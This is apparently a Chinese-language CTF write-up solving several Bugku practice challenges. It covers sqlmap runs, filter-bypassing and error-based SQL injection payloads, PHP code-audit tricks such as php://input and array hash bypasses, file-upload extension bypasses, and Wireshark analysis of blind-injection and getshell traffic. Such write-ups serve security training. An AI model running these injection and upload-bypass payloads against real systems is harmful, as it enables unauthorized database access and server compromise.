继上一篇总结:
CTF web题型总结-第五课 CTF WEB实战练习(一)
以下也是我在bugku练习的解题过程。
以下内容大多是我在Bugku自己操作练习,有部分来源于网络,我只是在前人的基础上,对CET WEB进行一个总结;
-----------------------------------------------------------------------
-----------------------------------------------------------------------
http://123.206.87.240:8002/chengjidan/
猜测应该是考sql注入
先用Burpsuite抓一下数据包吧
数据包新建成1.txt。放到sqlmap下
使用sqlmap跑注入吧。
然后就是需要了解下sqlmap的使用方式。
sqlmap.py -r 1.txt -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
可以看到它的数据库为 ‘skctf_flag’,接着就是爆表
sqlmap.py -r 1.txt -p id -D skctf_flag --tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g--columns
-T –>指定表名称
–columns –>列出表中的字段
fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
–dump –>列出字段数据(dump前有两个-)
得到
BUGKU{Sql_INJECT0N_4813drd8hz4}
这个题的知识点sql注入
打开连接
打开链接,让我们在2秒之内计算出一个很复杂的式子的值传进去
直接上图一脚本:
import re # import 是导入模块 相当于就是导入函数库 导入模块过后就可以用相应的模块里的函数 这里的re模块是正则表达式 用于匹配字符串当中的一定字符但是说匹配这里却用来提取字符。
import requests #导入requests模块请求模块 这个模块还有很多需要我学习。
s = requests.Session() # 用s存session session和cookie 都用于身份识别 session本义为对话 这里我自己暂时理解为 把这次对话保存起来并取名s 相当于记录身份。
r =s.get("http://120.24.86.145:8002/qiumingshan/") #用此身份请求并url。
searchObj =re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S) #search 是扫描整个字符串并返回成功的匹配值 如果没有匹配则返回none 正则re.search(要匹配的字符,被扫描的字符,功能选择), 这里用这个函数实则是在提取字符,首先看要匹配的字符是这样的 r'^<div>(.*)=\?;</div>$',这里的r我实在没有查到是什么意思我看了好几个有些没有这个r,^代表开始,$代表结束,这里则表是从<div>开始到</div>结束,而中间的(.*)这里的.代表任意一个字符加一个*构成.*就多次的任意字符然后\?是?有特殊含义需要匹配?要在前面加一个\,这里的=\?是源代码中本来就有的,这里打括号是进行分组,第一个()就是第一组第二个()就是第二组(这是我自己的理解) ,r'^<div>(.*)=\?;</div>$'表示<div></div>中的所有字符,然后再与r.text相匹配,相当于提取,后面我会带上图上面有一些字符的含义与某两个网站,还有分组。
d = {
"value": eval(searchObj.group(1)) #eval函数是计算值
}
r =s.post("http://120.24.86.145:8002/qiumingshan/", data=d) #post传值
print(r.text) #输出结果
得出flag
看着毫无思路
查看下源代码吧
在源代码里有一个提示,说传递margin参数,但是又不知道传什么,在响应头里有个flag,
应该是base64加密的,然后解密后发现好像还可以再解密一次,让后再此解密,所以就把base64解密的数值传过去试试。但是好像它一直在变,让后就要写脚本自动传递,我也不知道为啥。写脚本和一直变又什么联系吗,但还是写了一个,试了试。
# coding:utf-8
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin":key}
print(s.post(url,data=payload).text)
知识点
•requests获取页面信息、头信息以及提交Post
•抓包
•Base64编码特点
打开链接是一串没有意义的字符串,查看源码没有发现什么
观察url ,发现a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
出现一行代码,试一下line=3显示了不同的代码
一个个试太麻烦,上脚本将index.php的源码读取出来。
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
最后读取出来的源码
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码。
keys.php编码是a2V5cy5waHA=
得到
KEY{key_keys}
打开链接显示一串字符,右键查看源码,发现1p.html
访问 1p.html ,发现页面自动跳转到 http://www.bugku.com/
应该是有 window.location.href 之类的重定向,那就直接查看1p.html的源码,在链接前面加view-source:
view-source:http://120.24.86.145:8006/test/1p.html
有发现!根据%3C来看Words变量应该是url编码
解码后发现 注释部分还进行了base64编码
继续base64解码后
终于出来了,来分析代码
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串
eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
总的来说,如果a参数传入文件内有"bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4 以上这些条件都满足,就请求f4l2a3g.txt
:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧
可以访问,flag我看到你了!
得到
flag{tHis_iS_THe_fLaG}
以上五题主要涉及到的技术点:SQL注入以及sqlmap工具使用、python脚本的编写、burpsuite抓包改包的使用、代码分析、url编码与解码、base64的编码与解码。
打开看看
阅读代码 发现
只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
构造
http://123.206.87.240:8002/web7/?uname[]=1&id=margin 并发送 passwd[]=2 的postdata 请求即可
依旧利用简单 有特别 好安装的 火狐 插件 hackbar
得到
Flag: flag{HACK_45hhs_213sDD}
本题注意点:
1. get方式提交uname 和 id 值,post方式提交passwd值
2. uname和passwd的哈希值相同
3. id == “margin”
解决
1 get和post提交,方式1:火狐的HackBar,方式:python程序。。。
2 把uname和passwd定义成数组,数组的哈希值相同
3 url传入时,令id=margin
http://123.206.87.240:8002/web8/
本题要点:php代码审计、php://input
打开地址,看到这样的代码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
分析代码:
extract($_GET):函数extract()有通过数组进行赋值的功能:
file_get_contents($fn):file_get_contents功能是从文件名为“$fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值
构造
index.php?ac=text&fn=php://input
得到
flag{3cfb7a90fc0de31}
这个题主要在于细心,还有就是对robots.txt的了解。
访问看看http://123.206.87.240:8002/web13/
进来后发现是这样了我瞎点了下也没发现什么东西
之后就尝试下寻找txt
http://120.24.86.145:8002/web13/robots.txt
发现了这样的一句话
User-agent: *
Disallow: /resusl.php
By bugkuctf.
if ($_GET[x]==$password) 此处省略1w字
根据上面的php代码
我们构造x=admin
http://120.24.86.145:8002/web13/resusl.php?x=admin
便能得到flag
得到flag(ctf_0098_lkji-s)
这个题主要在于细心,还有就是对robots.txt的了解。
访问看看
应该是考的上传漏洞
这道题是后缀名黑名单检测和类型检测
1. 把请求头里面的Content-Type字母改成大写进行绕过
2. .jpg后面加上.php5其他的都被过滤了好像
如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag
KEY{bb35dc123820e}
此题考点在上传绕过
访问看下
登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
?id=1'^(length('union')!=0)--+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过,payload如下:
爆数据表 (注意:information里面也有or)
?id=-1'ununionion seselectlect 1,group_concat(table_name) frominfoorrmation_schema.tables where table_schema=database()--+
爆字段
?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27--+
爆数据
?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(flag1)%20from%20flag1--+
提交flag显示错误,换个字段
爆address,得出下一关地址
?id=-1'ununionion seselectlect 1,group_concat(address) from flag1--+
打开之后
当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。
爆字段数
?id=1' order by2--+ 正常
?id=1' order by3--+ 报错
爆库
?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+
爆表
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables wheretable_schema="web1002-2"),0x7e)))--+
爆列
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns wheretable_schema="web1002-2" and table_name="flag2"),0x7e)))--+
爆flag
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))--+
得到
flag{Bugku-sql_6s-2i-4t-bug}
flag均为小写 flag{bugku-sql_6s-2i-4t-bug}
本地主要是sql注入,报错注入以及异或注入
下载后是一个txt
不用pcap的原因应该是可能怕我们提取数据太麻烦,写脚本不好写,因此直接给个txt文件。
那么先打开txt文件分析,
这个已经很友善了,网址那里已经sqli_blind提示了,
那么这就是一道sql盲注复现的流量分析。
知识点:
sql二分法盲注
一些sql常见语句
分析正常字符出现的条件
写脚本进行数据提取(ps:最难就是这里,不过到时候不会可以人工手动提取
根据盲注的原理,
直接拉到txt最后面,
因为最后面的那一段才是判断出flag的。
用 notepad++ 的插件中的 MIME Tool 中的 URL decode 解一下码~
还是来复习下盲注的知识,(虽然对解题用处不大)
每一条语句返回的状态码有 200 和404 。
我们可以看到 200状态码对应的ASCII值是1765 , 404状态码对应的ASCII值是5476 。
我们往后继续看~
看到有 flag_is_here 的记录...
在sql盲注里测试的字符的 最后一条状态码为 200的语句 的ASCII值再加1就是猜解正确的ASCII值,转换成字符就是我们需要的答案的其中一个字符。
下面以第一个字符作为例子:
我们可以看到当 LIMIT 0,1),1,1))>101 时,是第一个字符的最后一个 状态码为 200 的语句,这时的ASCII码是 101 ,那么 101+1=102 ,ASCII码为 102 对应的是 f ,因此flag的第一个字符就为 f 。
第二个就是108
第三个
97—对应的a
101+1=102 -->f
107+1=108 -->l
96+1=97 -->a
102+1=103 -->g
由于字符比较多,我们就不一一列举了,以上就是flag的前四个字符。
最多得出flag{sqlm4p_15_p0werful}
这个题的经验在于,对注入的了解,sql注入盲注
先点击下载看看
key.pcapng文件,下载用wireshark打开
根据题目提示,flag被盗,那么很有可能包里包含了一个文件,至于文件类型就无法准确判断了~
通常,我们可以先用 http协议 ,来看一下pcap包里面包含的信息。
筛选http
我们可以看到,请求 200 ok ,请求成功。还含有 shell.php ~
任意选择一条含shell.php的内容 右键 =>>追踪流 =>>TCP流 ,看一下详细信息。
之后找一个POST请求包,追踪TCP流
仔细找一找,flag就在里面flag{This_is_a_f10g}
本题要点:wireshark软件使用:http协议过滤、追踪TCP流
下载之后解压缩, 是一个 cap 包
通过 wireshark 打开, 可以看到有很多数据包
根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP 的
报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “内
容” >来查找 getshell 流
tcp contains "command"
通过追踪 tcp 流, 我们可以看到一段 base64 字符串
base64 解密, 得到 flag
CCTF{do_you_like_sniffer}
这题主要难在不知道怎么找 getshell 流, 需要对各种报文以及 wireshark 的使用方法比较熟悉。
本文作者:Lemon
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/140522.html